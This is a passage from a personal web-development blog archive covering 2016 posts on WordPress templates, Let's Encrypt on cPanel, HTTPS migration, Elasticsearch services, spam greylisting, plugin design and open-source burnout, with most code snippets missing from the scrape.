Before I can do anything, I need to make sure I have the data I needed. What I wanted was a list of all the shows that were published and a list of all the cliches, ordered in the way I need them. The order is simply comma separated values, enclosed in quotes, enclosed in brackets:
And the data is similar:
Since I’m lazy, I checked that the array worked if it ended in a , and it did! That means my PHP looks like this:
And my js looks like this:
You may notice the simple call of `` in there? That’s where it outputs the data I sorted out in the PHP section. Done. I’m could put it more inline, but I liked to separate them as much as I could.
## Putting it in the theme
This is a Genesis theme so while I am making use of the Genesis loop, the call to `get_template_part` can be used by anyone. I’ll explain in a moment. First, here’s the page template:
This works like any other page template. You make a page, you select the template, and it loads this custom design.
The magic sauce is in `get_template_part( 'stats' );` which calls the file `stats.php` and that file has all the code you saw above. This means I can edit my post with all the explanations I want, and then it always outputs the stats on the bottom. By calling the Genesis code in the bottom, I retain all of it’s magic while pulling in what I want.
## The Result

Looks nice, doesn’t it? I’m quite fond of it.
**Categories:** How To
**Tags:** coding, hosting, javascript
---
### [What They Don't Tell You](https://halfelf.org/2016/dont-tell-you/)
**Published:** September 9, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you prick us, do we not bleed? If you tickle us, do we not laugh? If you poison us, do we not die? And if you wrong us, shall we not revenge?
**Content:**
I wear a lot of hats in the Open Source World. I help teams. I represent and direct others. I herd the cats of software. I allow my name to be known. People talk about how we’re doing a good job, working hard, working together trying to make things better. They talk to you about the wonderful feeling of success that comes with releasing a product. They tell you about the joy, the friendships, and the community.
Well. Here’s what they don’t tell you.
They don’t tell you about the bad days.
They don’t tell you about the week you will spend being blamed and slandered and lied about in blog posts and on Social Media because people know half of thing.
They don’t tell you about the fact that you *can’t* speak up and defend your actions because it’ll make things worse.
They don’t tell you about the subtle misogyny that makes you wonder if it’s there at all.
They don’t tell you about the gut churning nausea you’ll feel about turning on your email and watching wave upon wave of hate-mails come in.
They don’t tell you about the dick pics and come ons.
They don’t tell you that even when you can explain yourself to your friends, you’ll have to make sure they know *not* to speak up on your behalf because it won’t help.
They don’t tell you that you can make it worse by being outspoken.
They don’t tell you that crying will make people feel they’re right.
They don’t tell you that people won’t even consider that their words cut you to your very bone.
They don’t tell you that even if a great many people respect you, it doesn’t make you feel any better.
They don’t tell you that someone will say ‘it’s all in your head.’
They don’t tell you that you will have to wait it out.
They don’t tell you that you will have to suffer.
They don’t tell you that the phrase “Just joking!” doesn’t ease the wounds.
They don’t tell you that even with all the support in the world, there are days you will feel absolutely, 100%, alone in your community.
All those good and wonderful things? They’re true. And I wouldn’t change the past if I could. Contributing to open source has enriched my life in many ways. It’s taught me more about myself that I could have imagined. It’s taught me how much I can stand and take though. It’s taught me that sometimes, somedays I will stand with my name and my work being spoken ill of, with my actions being second guessed and criticized, and I will have no succor or recourse.
I will have to stand there and take it and wait and say nothing and do nothing except the best I can do.
What’s the point of this? There isn’t one. This post isn’t a cry for help or a request for my friends to come to my defense. It’s a reminder for all of us that these things happen, and there will be days we feel worthless. Where we feel beaten down and angry and that we want to cry or do *something* and we just can’t because we know in our hearts it will make things worse.
But maybe the point is this.
I feel that way too. Everyone does.
So you’re not alone at all.
*Comments on this post have been disabled.*
**Categories:** How It Is
**Tags:** community, essay, open source
---
### [Let's Encrypt cPanel](https://halfelf.org/2016/lets-encrypt-cpanel/)
**Published:** August 19, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Are you there, server? It's me, Let's Encrypt. Making your sites more secure.
**Content:**
On August 10th, cPanel announced [provisional support for Let’s Encrypt via AutoSSL](https://blog.cpanel.com/announcing-cpanel-whms-official-lets-encrypt-with-autossl-plugin/).
For hosts like DreamHost to be able to implement Let’s Encrypt is a lot easier than a behemoth like cPanel. See, DreamHost only had to make sure it worked on their own servers. They have a homegrown panel that they have 100% full control over. Adding in how to install the code on all servers and how to integrate it requires less testing than cPanel, who has to make sure *everyone* who uses cPanel can use this.
As of version 58 of cPanel, everyone can. And it works.
## Installation
Log in via SSH and run this as root:
That installs everything you need. Keep in mind, this *only* adds LE to the AutoSSL feature. It’s AutoSSL that whips up SSL certificates for cPanel accounts. Doing this install *does not* install certs on your domains. We have to configure it for that.
## Configuration
Once you’ve installed the code, go to WHM: Home » SSL/TLS » Manage AutoSSL and set it to Let’s Encrypt:

If it’s your first time, yes, check **Create a new registration with the provider.** because you’re new. You only need to mess with that if you’re new or have to reset registration for some reason.
By default, AutoSSL is set to run based on your “Feature List Setting” (under Home » Packages » Feature Manager » Edit Feature List). Mine has it checked, which means it will automatically run.
## Adding Existing Domains
This worked great *except* I had a bunch of domains using [StartSSL](https://www.startssl.com/). First off, I adore StartSSL, and the recent changes to their website make it so much easier to use. But I was using it for external free certificates where I didn’t want to pay for them, on domains that never see money. Some of them (most of them) I wanted to convert to LE.
For that, I deleted the StartSSL certificates in WHM and cPanel for the domains/account in question. Then I went to AutoSSL, clicked on the tab “Manage Users,” and clicked “Check USERNAME.” I did *not* pick check all users (which is at the top of the page) because I don’t want to check all users.
## Adding New Domains
I love this part.
Do **nothing**.
No, really. Add the new domain, wait twelve hours, boom. New certificate. If you have to have it right now, go into WHM and click check for that user. But it’s automatic. Hence ‘Auto’ SSL you see.
## Caveats!
This is something only controlled by the server admin. Per-site cPanel doesn’t get an option, however if they delete the LE cert and add their own, that will override it.
There’s a limit to how many times you can make certificates *and* how many you can make. As the warning says:
> Certificates that Let’s Encrypt provides through AutoSSL can secure a maximum of 100 domains per virtual host.
> Let’s Encrypt will issue a maximum of 20 certificates per week that contain a domain or its subdomains. If you include subdomains of a domain on more than 20 certificates, Let’s Encrypt will issue those during the next window, up to the limit for that week.
If you’re using a wildcard subdomain (`*.ipstenu.org` for example) in order to make things easier with Multisite, this won’t work. You’ll see a ton of errors in your logs. Not to mention it won’t make SSL certs for all the virtual subdomains. That’s because they’re *too* virtual. You’ll have to make an actual add-on subdomain or use a domain alias for LE to pick that up.
You can’t revoke a certificate either, which can be a problem should there be a security issue along the lines of [Heartbleed](http://heartbleed.com/). When that happened, we all had to reset our SSL certs as well as patch our servers. Lots of fun. Should that happen again, cPanel users will have a big problem.
It’s because of that I don’t want to use Let’s Encrypt on *everything*. I’ll use it on this domain, and my other normal ones, but my WMH domain and my stores use a Comodo Certificate.
**Categories:** How To
**Tags:** let's encrypt, security, servers, ssl
---
### [Making HTTPS Everywhere](https://halfelf.org/2016/make-https-everywhere/)
**Published:** August 24, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making everything secure is easier than you may think.
**Content:**
With the advent of [Let’s Encrypt](https://letsencrypt.org/), introducing free and easy SSL certificates for everyone, and the fact that [Plesk](https://devblog.plesk.com/2015/12/lets-encrypt-plesk/), [cPanel](https://blog.cpanel.com/announcing-cpanel-whms-official-lets-encrypt-with-autossl-plugin/), and [home grown Panels like DreamHost’s](https://www.dreamhost.com/blog/2015/12/03/lets-encrypt-and-dreamhost/) all providing easy ways to install certs, renew them, and support them, we’re finally inching our way to the dream of HTTPS Everywhere.
## Why HTTPS?
The S makes it secure, and the green lock on a browser tells a person that their visit is safer, encrypted, and obscures sensitive data. It means a visit is confidential. It means the site is the real site. It cannot be easily monitored, modified, or impersonated.
While this blog has no sensitive data of yours, it does accept (require) your email when you leave a comment. You don’t want everyone knowing that, I suspect. You probably don’t want everyone grabbing your IP.
Why do we care about security in general? Because [nothing is non-sensitive anymore](https://https.cio.gov/everything/). Everything we do and say on the Internet can be used against us. Entering in your mother’s maiden name on a form over HTTP? Someone can snipe that and use it to steal your identity. Use the same password on multiple accounts, one of which is HTTP? Your code can be stolen. The list goes on and one.
## How I Turned This Site HTTPS Everywhere
Every single domain on `ipstenu.org` is now https. Everyone either has the Let’s Encrypt certificate or a Comodo one. First I [turned on Let’s Encrypt](https://halfelf.org/2016/lets-encrypt-cpanel). Then I used WP-CLI to search and replace my urls:
And so on and so forth down the line.
Next I checked my `mu-plugins` folder and my `content` folder to make sure none of my home grown code was hardcoding in http (it wasn’t), and updated my `wp-config.php` to include this:
That probably wasn’t required but why not? Finally I tossed this into my `.htaccess`:
Really. That’s all it took to swap it all to https everywhere here.
## Gotchas
Not *all* my plugins were happy about this.
Most were, actually, which was nice, but a couple did some incredibly stupid things with hardcoded `http` resources. Fixing them for myself is trivial. For others… I recommend [WordPress HTTPS](https://wordpress.org/plugins/wordpress-https/) or [Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/), both of which will let you force https for all URLs or block the http ones.
For the most part, with WordPress, you don’t need to worry about this. In recent years, the ability to force SSL from within WP itself has gotten better and better. The problem has always been our themes and plugins.
Other than that, it’s been pretty smooth going.
## Non WordPress
But… what about my non-WordPress sites? Yeah, you know I have them.
Well my [ZenPhoto20](https://github.com/ZenPhoto20/ZenPhoto20) site doesn’t run any extensions, so I just checked the box for using SSL and went on my way. I’d cleverly written all my themeing with protocol-less URLs (`\\example.com\my\path\file.css`). While that’s really an anti-pattern, and https should be used whenever possible, I had everything in one file so I search/replace’d that and it was done.
My [Hugo](http://gohugo.io) site required two changes to a config file. It looked like this:
The reason I did that was so my templates could look like this:
Once I saved the variables in my config, I could push the site (which [automatically rebuilds and deploys](https://halfelf.org/2015/deploying-hugo/)) and be done.
**Categories:** How To
**Tags:** hugo, wordpress, zenphoto
---
### [Elasicsearch as a Service](https://halfelf.org/2016/elasicsearch-service/)
**Published:** August 17, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting started with Elasticsearch involved me determining running it on my own was a bad idea.
**Content:**
Search is hard. Searching when you have custom meta data in post is harder. By default, WordPress *does not* search your custom meta data. And my [LezWatchTV](http://lezwatchtv.com) site is 75% custom meta data.
I’d been using Google Search, but that has a lot of issues of it’s own like privacy, ads, accuracy, and most importantly, no way to tune it. I decided to try out [ElasticSearch](https://www.elastic.co/) since I knew that was what WordPress.org’s internal search engine was going towards. After I [added custom post meta to my search content](https://halfelf.org/2016/search-custom-post-data), this post was going to be about how to install Elasticsearch on an ELK stack on DreamCompute, which turned out to be rather easy if time consuming and messy. And getting WordPress to work with it was as easy as installing the [ElasticPress plugin](https://wordpress.org/plugins/elasticpress/) (thank you 10up).
What was *complicated* was making Elasticsearch work remotely. By default, it wants to only be accessible locally for your own security. But adding in Shield and still having all the logs and pretty things to understand what was happening and how to manage it when it was all new escalated quickly. It was simply too much all at once for me. Instead I decided to look into Elasticsearch as a service.
There are a lot of options here,
## Self Managed
I know I said ‘as a service’ but you really can use [DigitalOcean](https://digitalocean.com) or [DreamCompute](http://dreamcompute.com) to do this. And there’s all sorts of documentation about how to do it available (like [DigitalOcean’s ‘How to install the ELK Stack on Ubuntu 14.04’](https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elk-stack-on-ubuntu-14-04) which works on DreamCompute too). And [Amazon Elasticsearch](https://aws.amazon.com/elasticsearch-service/) is also an option here.
But… they’re all very self-managed. They require you to jump into servers, run a lot of commands, and they’re not new user friendly. Look, I get that this is complicated stuff, but people aren’t going to know *if* they want to learn all this if you make it monumental to get into.
## Services
You can break these down into two main types.
Enterprise Level:
- [Elasticsearch Cloud](https://www.elastic.co/cloud)
- [ElasticPress Service](https://www.elasticpress.io)
- [Qbox](https://qbox.io/)
Free ‘Trials’:
- [Bonsai](https://bonsai.io)
- [Searchly](http://www.searchly.com/)
I wanted to use something ‘free’ to get started so I could figure out what I wanted to do and how to properly use Elasticsearch before deciding if I wanted to pay. But also I wanted to figure out exactly to do with search. Therefore I needed something ‘free’ to test with, something with logs, that would help me understand it all. I ended up trying both Bonsai and Searchly. While Bonsai gave me more room, Searchly had more information to the interface, but *neither* had a ‘Hey, here’s how you tune Elasticsearch!’ page.
Neither had Kibana 4 though, which is a little sad.
So when you don’t know how to do ‘anything’ with Elasticsearch, what can you test? The same search. I checked which was faster, which was more accurate, and which had the results I wanted. Bonsai was the winner here, so that’s what I went with.
## Integrating WordPress
Thankfully this is the easy part.
Install the [ElasticPress plugin](https://wordpress.org/plugins/elasticpress/). Go to Settings -> ElasticPress and add in the URL from your Bonsai panel as your Host. It should look like `https://username:password@yourcluster.us-west-2.bonsai.io` (with some variation based on location). Save, press the ‘Run Index’ button, and you’re done.
The nice thing about the plugin is if it breaks (like the service goes down), the plugin reverts to WordPress search! Which isn’t great, but … well.
Next? How do I tune Elasticsearch?!
**Categories:** How To
**Tags:** search, service, wordpress
---
### [Search Options for Custom Post Data](https://halfelf.org/2016/search-custom-post-data/)
**Published:** August 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Searching custom meta data in WordPress isn't default. And that is sad.
**Content:**
I use [CMB2](https://github.com/WebDevStudios/CMB2) to add in a bunch of custom meta data for my posts on a site. Seeing as I’m using it to allow layouts and formats to be consistent, it’s not surprising that I’ve chosen to split out my data like that. In another world, maybe it would be done differently, but this works.
Except that search sucks. WordPress *doesn’t* search custom post meta out of the box which just kills me. That meant all the data I stored in for names and dates was never getting searched. There are two ‘easy’ solutions for this at least.
## Google Search
Ew. I know. But ew. Since I’m using Genesis as my theme, it’s not super hard, just a little weird. Assuming you already have a [Custom Search Engine](https://cse.google.com/cse) set up, and you’re using Genesis, here’s what to do next.
First I added this into my `functions-site.php` (note: I made a `functions-site.php` file so I can easily update my `functions.php` file on the rare occasion I need to update the child theme – it’s really rare – but also so I always know what’s me and what was Genesis):
Then I made a custom page template thanks to [Rick Duncan](http://www.rickrduncan.com):
Finally I added a page called “Search Results” and assigned it this template. Done. Google, who searches the whole page content, will get everything. It just looks like Google.
## Having WordPress search your Custom Post Meta
This was surprisingly annoying, but not as hard as all that. Adam Balee wrote [Search WordPress by Custom Fields without a Plugin](https://adambalee.com/search-wordpress-by-custom-fields-without-a-plugin/) which, I know, is ‘without a plugin’ and sort of silly, but I put that in as an MU plugin and it worked perfectly!
This is not the most efficient search, I know. But it works and gets my data where it’s needed.
**Categories:** How To
**Tags:** search, wordpress
---
### [Greylist, RBLs, and Spam](https://halfelf.org/2016/greylist-rbls-spam/)
**Published:** August 10, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stopping spam a little more inventively than just saying "If there are 100 recipients, these are bad..."
**Content:**
Recently I noticed I had 13 spam emails all from the same ‘company.’ The content was incredibly similar, though subtly different. The from email was always different, but you could tell by looking at it that it was the same. And even more damming, it all had ‘junk’ content and 100+ recipients. But for some reason, [SpamAssassin](http://spamassassin.apache.org/) wasn’t catching it!
After 5 emails came in back to back, I decided to do something about it.
At first I was trying to find a way to tell Spamassassin or Exim how to auto-turf the emails with 100+ people listed in the ‘To’ field. This proved to be a little more difficult and complicated than I wanted, and I was sure that these spammers would catch on to that sooner or later.
What I really wanted was for Spamcop to pick up on this, but I’ve been sending them in to no avail for a while. That got me looking into how cPanel handles Spamcop in the first place.
## Real-Time Blackhole Lists
cPanel uses RBLs, Real-time Blackhole Lists, to determine if an email sent to you is spam or not. By default, it comes with [SpamCop](https://www.spamcop.net/) and [Spamhaus](spamhaus.org). That means it will reject mail at SMTP time if the sender host is in the bl.spamcop.net or zen.spamhaus.org RBL. Well that was well and good, but could I add more to that list?
Of course. I pulled up [cPanel’s documentation on RBLs](https://confluence2.cpanel.net/display/ALD/Exim+Configuration+Manager+-+Basic+Editor#RBLs) and determined I could add as many as I wanted. On the top of the Basic EXIM Editor is a link to **Manage Custom RBLs** which is what I wanted. All I had to do was figure out what to add.
After reading through [WikiPedia’s comparison of DNS blacklists](https://en.wikipedia.org/wiki/Comparison_of_DNS_blacklists), I picked a few and tested the latest emails that had come through, looking for ones that caught them. Then I tested known good emails and made sure they weren’t caught. I ended up adding [Barracudacentral](http://www.barracudacentral.org/rbl) and [IPRange](http://iprange.net/rbl).
## Greylisting
The next thing I did was introduce [Greylisting](https://documentation.cpanel.net/display/ALD/Greylisting) to my email. They way Greylisting works is that if it doesn’t recognize the email, it will *temporarily* reject it and tell it to resend. If the email is real, the server tries to send it again after a little while. There are some downsides to this, as it’s possible for a legit email to be trapped for a few hours (or days) if someone’s set up their server poorly. On the other hand, within half an hour, I blocked 11 emails.
I mean. I’m pretty sure `monica@getoffherpes.com` is spam. You know what I mean?
This was super easy to do, too. I turned on Greylisting, I restarted Exim, I walked away.
Okay no, I didn’t. I sat and watched it to see if anyone legit got caught (one did, it passed itself through properly).
## Result?
A little less spam. I don’t expect this to work for everything, but it had an immediate impact on many of the spam emails that were annoying me.
**Categories:** How To
**Tags:** cpanel, email, servers, spam
---
### [CMB2 And The Dropdown Years](https://halfelf.org/2016/cmb2-dropdown-years/)
**Published:** August 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a year-range in CMB2 is easy (if you befriend a developer).
**Content:**
At WordCamp Montreal, I mentioned the [database of dead lesbians](http://lezwatchtv.com) that Tracy and I maintain. The camper looked at it and said “You know it would be awesome if you showed the shows airdates.”
Good point! Except I just plain struggled with the concepts and how to do them in CMB2. I knew I could make multiple fields in one ‘metabox’ as I read up on the [snippet for an address field](https://github.com/WebDevStudios/CMB2-Snippet-Library/blob/master/custom-field-types/address-field-type.php), but try as I might, I couldn’t make it work.
I tweeted my headache and ended up talking to Justin Sternberg who asked me if I could explain my use case better.
> I have 300+ posts, all of which have a start and end date. Some may have an end date of “current” however.
>
> Examples of valid data:
>
> - 1977-1979
> - 2016-current
> - 2000-2016
>
> I also need to sort by start and end year. So I can search for all posts with a start of 2014.
>
> I could have two year-sorts, easily, but that makes for a clunky interface as it would be separate fields. I know CMB2 can have a combined field (like addresses) but while I got it to save, it wouldn’t properly display on the edit page.
>
> This only needs to be editable on the WP admin edit post.
That night, he replied and asked if [this year-range field type](https://github.com/WebDevStudios/CMB2-Snippet-Library/blob/master/custom-field-types/year-range-field-type.php) would work.
Mind? Blown. It works exactly how I need it to. I tweaked the code (and threw in a pull request) to set up a way to reverse the years (show newest first) which is more useful for my needs.
Now? Editing 319 show entries.
**Categories:** How To
**Tags:** development, plugins, wordpress
---
### [Backtrack to Clean Code](https://halfelf.org/2016/backtrack-clean-code/)
**Published:** August 3, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We walk backward through code to find the clean data and resolve our problems.
**Content:**
I was watching *The Bletchley Circle*, about four women who were part of the code breakers in World War II, and how they stumbled upon a serial killer because only they could see the patterns. In the third episode of the first season, the main character is trying to explain why understanding the killer, Crowley, from before he started killing, and she says the following:
> At Bletchley, when we came across corrupted data, we had to backtrack till we hit clean code. That’s how you find an error in the pattern. All Crowley’s giving us is corrupted data.We need to backtrack to before he was killing. We need to start from there. That’s how we’ll find him.
I’d never thought of it in those words, but that’s exactly right.
When we debug code, when we find errors, we always backtrack to clean code. Most of us aren’t trying to find psychopaths and serial killers, of course. What we’re trying to do is find the patterns and understand what went wrong. And many times, we’re trying to find patterns when the telling of the breaking doesn’t lend itself to any patterns.
Think about how you describe a situation, how you explain what’s broken. You start with your part. “I was trying to do X.” Then you explain what you expected to happen. “Normally that makes the color blue.” Next you say what did happen. “Instead, it made the color red.”
That’s all well and good, except there’s a great deal missing. Some of it will be pertinent and some won’t. Some will be overkill and useless signal to noise, and some minutiae will be just what is needed to solve a problem. The difficulty is that you may not know what happened that is important. If all you know is ‘I upgraded WordPress’ for example, then you may not be aware of all the changes that went into the WP\_Http API. You may not know about the new Multisite functions.
If you’re not a developer, reading the field guide for WordPress 4.6 RC1, and all the linked posts, and did a compare of 4.5.3 to 4.6-RC1, then maybe you’d be surprised when your plugin breaks. And while you thought well of yourself for testing on the release candidate, you’re stunned at how much changed, and not sure what on earth happened.
So you backtrack. You know that the magic sauce is in the requests sent to the server. And you know you’re using `wp_remote_request()` to do it. So you look at anything related to that. What does it call? Did that change? You step back and back until you find as much as you can, and when you’ve determined it’s ‘something,’ you reach out for help.
In WordPress, this is why we tell people to switch to default themes or disable plugins. We’re asking people to backtrack to code we know is clean. We can’t read minds and know the little things. So we ask people to backtrack in the most obvious ways. “Does it happen with all the other plugins off?”
Backtracking to clean code.
**Categories:** How It Works
**Tags:** debug, troubleshooting
---
### [Mobile Ad Detection](https://halfelf.org/2016/mobile-ad-detection/)
**Published:** August 5, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some simple mobile detection for Google Ads.
**Content:**
I screwed up not that long ago.
I got an email from Google Adsense telling me that one of my sites was in violation because it was showing two ads on the same mobile screen, which is not allowed. Until I started using some of Googles whole page on mobile ads (an experiment), this was never an issue. Now it was. Now I had to fix it.
Thankfully I knew the simpliest answer would be to detect if a page was mobile and not display the ads. Among other things, I know that *I* hate too many ads on mobile. So all I wanted was to use the Google [page level ads](https://support.google.com/adsense/answer/6245304) – one ad for the mobile page, easily dismissible. Therefore it would be best if I hide all but two other ads. One isn’t really an ad as much as an affiliate box, and one Google responsive ad.
For my mobile detector, I went with [MobileDetect](http://mobiledetect.net), which is a lightweight PHP class. I picked it because I was already using PHP to determine what ads showed based on shortcodes so it was a logical choice.
Now the way my simple code works is you can use a WordPress shortcode like `[showads name="google-responsive"]` and that calls a file, passing a parameter for name into the file to generate the ad via a mess of switches and sanitation. Really you can go to `http://example.com/myads.php?name=leaderboard` and it would show you the ad.
The bare bones of the code looks like this:
The secret sauce is that check for two things:
1. Is the ad *not* one I’ve authorized for mobile?
2. Is this mobile?
Only if both are false will the script continue to run. It’s simple but I like to have things stop as soon as possible to make loading faster. There’s no css trickery to hide things via mobile size detection. It’s as simple, and as close to a binary check as I can make it.
**Categories:** How To
**Tags:** mobile, php
---
### [Long Term Vision](https://halfelf.org/2016/long-term-vision/)
**Published:** August 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** While it may seem 'easier' to make multiple separate plugins that all do similar things, long term it makes your developers crazy and hurts your users.
**Content:**
[Say what you will about Jetpack](https://halfelf.org/2013/jetpack-koolaid/), the plugin serves a great purpose in a few major ways.
1. Once you register for the API, you never have to again.
2. Everything is easy to find to update and configure (Menu -> Jetpack).
3. New Features are added and you don’t need to install a new plugin.
Now look at something else. A company released over a dozen Facebook plugins. All the plugins required you to connect via their API (a separate connection in each). All the plugins required you to use their admin panel to set up a per-plugin configuration. All the plugins deleted those settings on deactivation. Or how about a WooCommerce related set of plugins that all required the use of their API (legitimately) but all the plugin did was connect you and send you to where that specific plugin part was configured?
Got that in your head? Good. Now what if *Jetpack* did that? What if to enable aspect of Jetpack you had to install Jetpack Stats, Jetpack Comment Form, Jetpack Subscriptions, etc etc etc.
You’d *hate* Jetpack. And worse, the Jetpack developers would too. They’d have to work extra hard to ensure all the suite of plugins conformed to style and protocol. Shared libraries? Gotta update them in *all* of the plugins. Oh and don’t forget to make sure they’re all backwards compatible in case someone updates one but not another. Figure out which one takes priority, make sure someone else’s changes on Stats doesn’t break Comment Form, and on and on and on.
There’s a reason Jetpack works as well as it does, and it’s not just because Automattic is behind it. Jetpack has one sign up, one registration, one setup for the connection. Each sub-app is toggled via Jetpack. New additions, when the main plugin is updated, are all easily checked for backcompat and everyone tests together before pushing out.
So why do I call this the long view?
Because the long view considers not just adding new users to your system, but keeping them in a way that makes them happy. The long view looks at the reality that your developers will leave. The long view thinks about the easiest way to maintain a lot of code. The long view makes sure that introducing old users to new things is easy.
And that means, the long view would look at your 15 or 20 plugins that all use the same ‘base library’ and tell you it’s a shitty plan. It’s more hours on more code with more potential conflicts. It’s less cross-code checking. It’s more testing. It’s more unit tests that have to be repeated over and over.
The biggest reason I see people argue that 18 plugins is better than 1 is ‘SEO.’ The quotes are there on purpose. Because it’s bullshit. Anyone who thinks 18 plugins will net you better SEO than one, well written, well curated document file on the master plugin has failed at SEO school and needs to meet Ted. Ted is a 12 inch lead pipe that the boss keeps in the top drawer of his desk at DreamHost. No, not really. But the point remains, they’re not an SEO Expert.
Content is king. Remember that? [Duplicate content is bad](https://support.google.com/webmasters/answer/66359?hl=en).
> However, in some cases, content is deliberately duplicated across domains in an attempt to manipulate search engine rankings or win more traffic. Deceptive practices like this can result in a poor user experience, when a visitor sees substantially the same content repeated within a set of search results.
That applies to your code too. Duplicate code, duplicate functionality, is bad.
Now there is always a time and a place for multiple separate plugins. I only want to use [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359) extension for Stripe, not any other payment gateway. So I don’t need the extra plugins in a ‘payment gateway suite.’ But there, EDD cleverly has all the base code in their plugin and the add-ons just enable more features. [Yoast’s Video SEO](https://yoast.com/wordpress/plugins/video-seo/) is similarly an add-on. They didn’t waste time making a dupe of their main SEO plugin just to add in videos.
I hope the point is made. You can make your code simpler, easier to maintain, and easier for your users to find the new things if you keep it all in one. And that is a win.
**Categories:** How It Is
**Tags:** design, development, marketing, planning
---
### [The Need for Mobile Speed](https://halfelf.org/2016/need-mobile-speed/)
**Published:** July 27, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Contemplating how terrible the modern web is on a slow connection.
**Content:**
I took the train from NYC to Montreal, which I will never do again. It was too long, too uncomfortable, and customs actually made the TSA preferable. But while you ponder that in your back brain, I want you to consider this as well. The internet on the train sucks.
For the first time in years I was back on pre-smartphone speeds. And the problem with that is I was in a world that expected 3G or faster speeds. Here’s what would *not* load:
- Twitter
- Facebook
- Tumblr
- Most news webpages
- Anything with video
Here’s what I could do:
- Text
That was a pretty shitty smartphone experience. As I sat on the train, I wondered why it was so shitty. Didn’t we build everything to be mobile first? Wasn’t the point of the responsive systems to make it faster? Turns out we didn’t.
One of the things we do well in the modern web is device detection. If I’m on a mobile device, everything’s cool and perfect and my sites will load for that device. There are PHP libraries like [Mobile Detect](https://github.com/serbanghita/Mobile-Detect) and [Detect Mobile Browsers](http://detectmobilebrowsers.com/)\], but what they’re really doing is *device* checks, not mobile. Knowing what kind of device someone’s on lets us customize a web experience to that device, and that’s all we tend to do. We put in the hours to check “Is this a mobile device?” but not where we should be.
Of course, that’s really hard to do. Apps like [SpeedTest](http://www.speedtest.net/) and [TestMy.net](http://testmy.net/) work alright, but when you’re traveling by rail, your speed is incredibly variable and confusing. One minute I’d have 4 bars, the next 1, and then I’d drop from LTE to 3G and worse. Oh, and don’t bother asking about the WiFi. It was a joke.
Somewhat related, I travel a lot for work. I recently did a 12 day run to NYC and then Montreal, where I was in hotels most of the time. Hotel Wifi is a spotty thing. Either they charge you up to $40 a day for the privilege of their shiternet, or they give you free wifi that loads everything but images. Trying to work from hotels is a hit and miss proposition as well. I can connect, but as soon as I hop onto my VPN, everything drags.
Then we have conferences. I’ve yet to go to a tech conf where we didn’t kill the Wifi, or nearly so. While that’s kind of our faults for leaving on our various automated updaters and DropBoxes and the like, there isn’t a ‘Conference Wifi’ mode on laptops to say “Hey, I’m on a bandwidth so don’t do the automated background things please and thank you.” This is, by the way, why my presentations are always on my local box as well as online. I assume the wifi will die.
In all cases, as soon as the internet quality drops to slow, our experience online crumbles. We simply haven’t built most tools to work in a one-bar world. And much of this isn’t a solution we can easily grasp. Even the big guys, who have servers built for stress and speed, are slow in these situations. Because we assume too much. We assume minimum connectivity.
The race for faster wireless service is on, but we should step back and look at the simplification of our sites. If we can make a low-speed version that is as fully featured, we should.
**Categories:** How It Is
**Tags:** bandwidth, essay, speed
---
### [Keep A Name In Mind](https://halfelf.org/2016/keep-name-mind/)
**Published:** July 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Name your 'things' wisely for what they are and where they live.
**Content:**
When you’re making your own project for small things, it’s not a huge deal when you try to think up a name. As soon as you realize your project is going to be shared with the world, however, the game changes.
## Project Names
A project can be as massive as a new release of an operating system (Longhorn anyone?) or as small as a new plugin for WordPress. If could be a library for PHP or JS, or maybe a simple NPM add on. In all cases, the name you pick should be unique.
This gets hard when you want to name a tool something like “Foo for Bar” like “Color Coding for Quickbooks.” Wy is that hard? Well while your name is certainly descriptive, it’s not unique. Because someone else can make the same tool. “Joe’s Color Coding for Quickbooks.” Or worse… “Color Coding 4 Quickbooks.” And the problem here is that neither of you really have the right to the name, do you? You’re both leveraging ‘Quickbooks’ and their brand, so where do you have a leg to stand on when someone uses a similar name?
A unique name, though, like “Color Me Quickly,” would be so much better. Think of displaying it like this: “Color Me Quickly – A tool to colorize Quickbooks” and then having a description that talks about the idea and how to use it. “We love Quickbooks, just like you, but we hated the color schemes. We were always mixing up Receipts and Refunds. That’s why we came up with the Color Me Quickly tool. One simple install and we could see, right away, what was what. With our accessibility friendly default color schemes, and fully customizable colors, you can make your Quickbooks look how you need.”
The name is unique, the description is SEO friendly, and you will be easily able to stand out in a crowd.
## Function Names
Oh but then we have function names.
If you’re a library, please *please* **please** remember to wrap your code in “If this code is already included, do not include it again” checks. PHP has [function\_exists()](http://php.net/manual/en/function.function-exists.php) and [class\_exists()](http://php.net/manual/en/function.class-exists.php).
Using Javascript?
The point here is that if you’ve made a library, *always* make sure it’s not already running before you try to run. This is a huge issue in WordPress land. With over 45,000 plugins, the odds that two will include the same libraries are pretty high. The odds that two will have conflicting versions? Right, you got it.
But you should watch out with those checks. I’ve seen a lot of plugins use a check that if the function doesn’t exist, run their plugin. That’s a great idea, except that it’s not. If you name your function `wp_get_post()` and check for it’s existence before loading, what happens if it *does* exist? Your code won’t be called. And what happens if your code doesn’t get called? Your function won’t run. Your plugin won’t work as expected.
Function and class names have to consider their world. A WordPress plugin should never use a non-prefixed’ anything. [As Nacin says:](https://nacin.com/2010/05/11/in-wordpress-prefix-everything/)
> It’s a simple concept. Anything you create in the global namespace has the potential to conflict with a theme, another plugin (including one you wrote), and WordPress core itself. Thus, prefix everything with a unique-enough character set.
## Be Unique
Consider the environment that you code for when you name things. Always check for trademarks and possible conflicts before you name something you plan to release to the world. Remember to be unique.
Also remember it’s 2016. All the good two and three character prefixes are probably taken.
**Categories:** How It Works
**Tags:** coding, design, wordpress
---
### [Blocking Together](https://halfelf.org/2016/blocking-together/)
**Published:** July 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Blocking users on Twitter got a whole lot more interesting.
**Content:**
